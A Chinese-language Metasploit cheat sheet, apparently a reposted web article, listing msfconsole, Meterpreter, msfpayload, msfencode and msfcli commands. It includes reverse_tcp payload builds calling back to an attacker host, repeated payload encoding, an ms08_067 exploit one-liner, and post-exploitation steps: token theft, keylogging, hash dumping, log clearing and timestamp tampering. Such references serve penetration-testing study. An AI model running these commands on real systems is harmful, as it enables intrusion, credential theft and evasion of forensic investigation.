show exploits

列出metasploit框架中的所有滲透攻擊模塊。
show payloads

列出metasploit框架中的所有攻擊載荷。
show auxiliary

列出metasploit框架中的所有輔助攻擊載荷。
search name

查找metasploit框架中所有的滲透攻擊和其他模塊。
info

展示出制定滲透攻擊或模塊的相關(guān)信息。
use name

裝載一個滲透攻擊或模塊。
LHOST

你本地可以讓目標(biāo)主機(jī)連接的IP地址，通常當(dāng)目標(biāo)主機(jī)不在同一個局域網(wǎng)內(nèi)時，就需要是一個公共IP地址，特別為反彈式shell使用。
RHOST

遠(yuǎn)程主機(jī)或是目標(biāo)主機(jī)。
set function

設(shè)置特定的配置參數(shù)（EG：設(shè)置本地或遠(yuǎn)程主機(jī)參數(shù)）。
setg function

以全局方式設(shè)置特定的配置參數(shù)（EG：設(shè)置本地或遠(yuǎn)程主機(jī)參數(shù)）。
show options

列出某個滲透攻擊或模塊中所有的配置參數(shù)。
show targets

列出滲透攻擊所有支持的目標(biāo)平臺。
set target num

指定你所知道的目標(biāo)的操作系統(tǒng)以及補(bǔ)丁版本類型。
set payload name

指定想要使用的攻擊載荷。
show advanced

列出所有高級配置選項。
set autorunscript migrate -f.

在滲透攻擊完成后，將自動遷移到另一個進(jìn)程。
check

檢測目標(biāo)是否選定滲透攻擊存在相應(yīng)的安全漏洞。
exploit

執(zhí)行滲透攻擊或模塊來攻擊目標(biāo)。
exploit -j

在計劃任務(wù)下進(jìn)行滲透攻擊（攻擊將在后臺進(jìn)行）。
exploit -z

滲透攻擊完成后不與回話進(jìn)行交互。
exploit -e encoder

制定使用的攻擊載荷編碼方式（EG：exploit -e shikata_ga_nai）。
exploit -h

列出exploit命令的幫助信息。
sessions -l

列出可用的交互會話（在處理多個shell時使用）。
sessions -l -v

列出所有可用的交互會話以及詳細(xì)信息，EG：攻擊系統(tǒng)時使用了哪個安全漏洞。
sessions -s script

在所有活躍的metasploit會話中運(yùn)行一個特定的metasploit腳本。
sessions -K

殺死所有活躍的交互會話。
sessions -c cmd

在所有活躍的metasploit會話上執(zhí)行一個命令。
sessions -u sessionID

升級一個普通的win32 shell到metasploit shell。
db_create name

創(chuàng)建一個數(shù)據(jù)庫驅(qū)動攻擊所要使用的數(shù)據(jù)庫（EG：db_create autopwn）。
db_connect name

創(chuàng)建并連接一個數(shù)據(jù)庫驅(qū)動攻擊所要使用的數(shù)據(jù)庫（EG：db_connect user:passwd@ip/sqlname）。
db_namp

利用nmap并把掃描數(shù)據(jù)存儲到數(shù)據(jù)庫中（支持普通的nmap語句，EG：-sT -v -P0）。
db_autopwn -h

展示出db_autopwn命令的幫助信息。
db_autopwn -p -r -e

對所有發(fā)現(xiàn)的開放端口執(zhí)行db_autopwn，攻擊所有系統(tǒng)，并使用一個反彈式shell。
db_destroy

刪除當(dāng)前數(shù)據(jù)庫。
db_destroy user：passwd@host：port/database

使用高級選項來刪除數(shù)據(jù)庫。
***metasploit命令***

help

打開meterpreter使用幫助。
run scriptname

運(yùn)行meterpreter腳本，在scripts/meterpreter目錄下可查看到所有腳本名。
sysinfo

列出受控主機(jī)的系統(tǒng)信息。
ls

列出目標(biāo)主機(jī)的文件和文件夾信息。
use priv

加載特權(quán)提升擴(kuò)展模塊，來擴(kuò)展metasploit庫。
ps

顯示所有運(yùn)行的進(jìn)程以及相關(guān)聯(lián)的用戶賬戶。
migrate PID

遷移到一個指定的進(jìn)程ID（PID號可通過ps命令從主機(jī)上獲得）。
use incognito

加載incognito功能（用來盜竊目標(biāo)主機(jī)的令牌或假冒用戶）
list_tokens -u

列出目標(biāo)主機(jī)用戶的可用令牌。
list_tokens -g

列出目標(biāo)主機(jī)用戶組的可用令牌。
impersonate_token DOMAIN_NAME\USERNAME

假冒目標(biāo)主機(jī)上的可用令牌。
steal_token PID

盜竊給定進(jìn)程的可用令牌并進(jìn)行令牌假冒。
drop_token

停止假冒當(dāng)前令牌。
getsystem

通過各種攻擊向量來提升系統(tǒng)用戶權(quán)限。
execute -f cmd.exe -i

執(zhí)行cmd.exe命令并進(jìn)行交互。
execute -f cmd.exe -i -t

以所有可用令牌來執(zhí)行cmd命令并隱藏該進(jìn)程。
rev2self

回到控制目標(biāo)主機(jī)的初始用戶賬戶下。
reg command

在目標(biāo)主機(jī)注冊表中進(jìn)行交互，創(chuàng)建，刪除，查詢等操作。
setdesktop number

切換到另一個用戶界面（該功能基于那些用戶已登錄）。
screenshot

對目標(biāo)主機(jī)的屏幕進(jìn)行截圖。
upload file

向目標(biāo)主機(jī)上傳文件。
download file

從目標(biāo)主機(jī)下載文件。
keyscan_start

針對遠(yuǎn)程目標(biāo)主機(jī)開啟鍵盤記錄功能。
keyscan_dump

存儲目標(biāo)主機(jī)上捕獲的鍵盤記錄。
keyscan_stop

停止針對目標(biāo)主機(jī)的鍵盤記錄。
getprivs

盡可能多的獲取目標(biāo)主機(jī)上的特權(quán)。
uictl enable keyboard/mouse

接管目標(biāo)主機(jī)的鍵盤和鼠標(biāo)。
background

將你當(dāng)前的metasploit shell轉(zhuǎn)為后臺執(zhí)行。
hashdump

導(dǎo)出目標(biāo)主機(jī)中的口令哈希值。
use sniffer

加載嗅探模式。
sniffer_interfaces

列出目標(biāo)主機(jī)所有開放的網(wǎng)絡(luò)端口。
sniffer_dump interfaceID pcapname

在目標(biāo)主機(jī)上啟動嗅探。
sniffer_start interfaceID packet-buffer

在目標(biāo)主機(jī)上針對特定范圍的數(shù)據(jù)包緩沖區(qū)啟動嗅探。
sniffer_stats interfaceID

獲取正在實施嗅探網(wǎng)絡(luò)接口的統(tǒng)計數(shù)據(jù)。
sniffer_stop interfaceID

停止嗅探。
add_user username password -h ip

在遠(yuǎn)程目標(biāo)主機(jī)上添加一個用戶。
clearev

清楚目標(biāo)主機(jī)上的日志記錄。
timestomp

修改文件屬性，例如修改文件的創(chuàng)建時間（反取證調(diào)查）。
reboot

重啟目標(biāo)主機(jī)。
***MSFpayload命令***

msfpayload -h

msfpayload的幫助信息。
msfpayload windows/meterpreter/bind_tcp O

列出所有windows/meterpreter/bind_tcp下可用的攻擊載荷的配置項（任何攻擊載荷都是可用配置的）。
msfpayload windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT X > payload.exe

創(chuàng)建一個metasploit的reverse_tcp攻擊載荷，回連到LHOSTip的LPORT，將其保存為名為payload.exe的windows下可執(zhí)行程序。
msfpayload windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT R > payload.raw

創(chuàng)建一個metasploit的reverse_tcp攻擊載荷，回連到LHOSTip的LPORT，將其保存為名為payload.raw，該文件后面的msffencode中使用。
msfpayload windows/meterpreter/reverse_tcp LPORT=PORT C > payload.c

創(chuàng)建一個metasploit的reverse_tcp攻擊載荷，導(dǎo)出C格式的shellcode。
msfpayload windows/meterpreter/reverse_tcp LPORT=PORT J > payload.java

創(chuàng)建一個metasploit的reverse_tcp攻擊載荷，導(dǎo)出成以%u編碼方式的javaScript語言字符串。
***msfencode命令***

mefencode -h

列出msfencode的幫助命令。
msfencode -l

列出所有可用的編碼器。
msfencode -t (c,elf,exe,java,is_le,js_be,perl,raw,ruby,vba,vbs,loop_vbs,asp,war,macho)

顯示編碼緩沖區(qū)的格式。
msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe

使用shikata_ga_nai編碼器對payload.raw文件進(jìn)行5編碼，然后導(dǎo)出一個名為encoded_payload.exe的文件。
msfpayload windows/meterpreter/bind_tcp LPORT=PORT R | msfencode -e x86/_countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded_payload.exe

創(chuàng)建一個經(jīng)過多種編碼格式嵌套編碼的攻擊載荷。
msfencode -i payload.raw BufferRegister=ESI -e x86/alpja_mixed -t c

創(chuàng)建一個純字母數(shù)字的shellcode，由ESI寄存器只想shellcode，以C語言格式輸出。
***MSFcli命令***

msfcli | grep exploit

僅列出滲透攻擊模塊。
msfcli | grep exploit/windows

僅列出與windows相關(guān)的滲透攻擊模塊。
msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp LPORT=PORT RHOST=IP E

對IP發(fā)起ms08_067_netapi滲透攻擊，配置了bind_tcp攻擊載荷，并綁定在PORT端口進(jìn)行監(jiān)聽。

版權(quán)聲明：本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有，歡迎引用、轉(zhuǎn)載，請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站，禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像，否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來，僅供學(xué)習(xí)參考，不代表本站立場，如有內(nèi)容涉嫌侵權(quán)，請聯(lián)系alex-e#qq.com處理。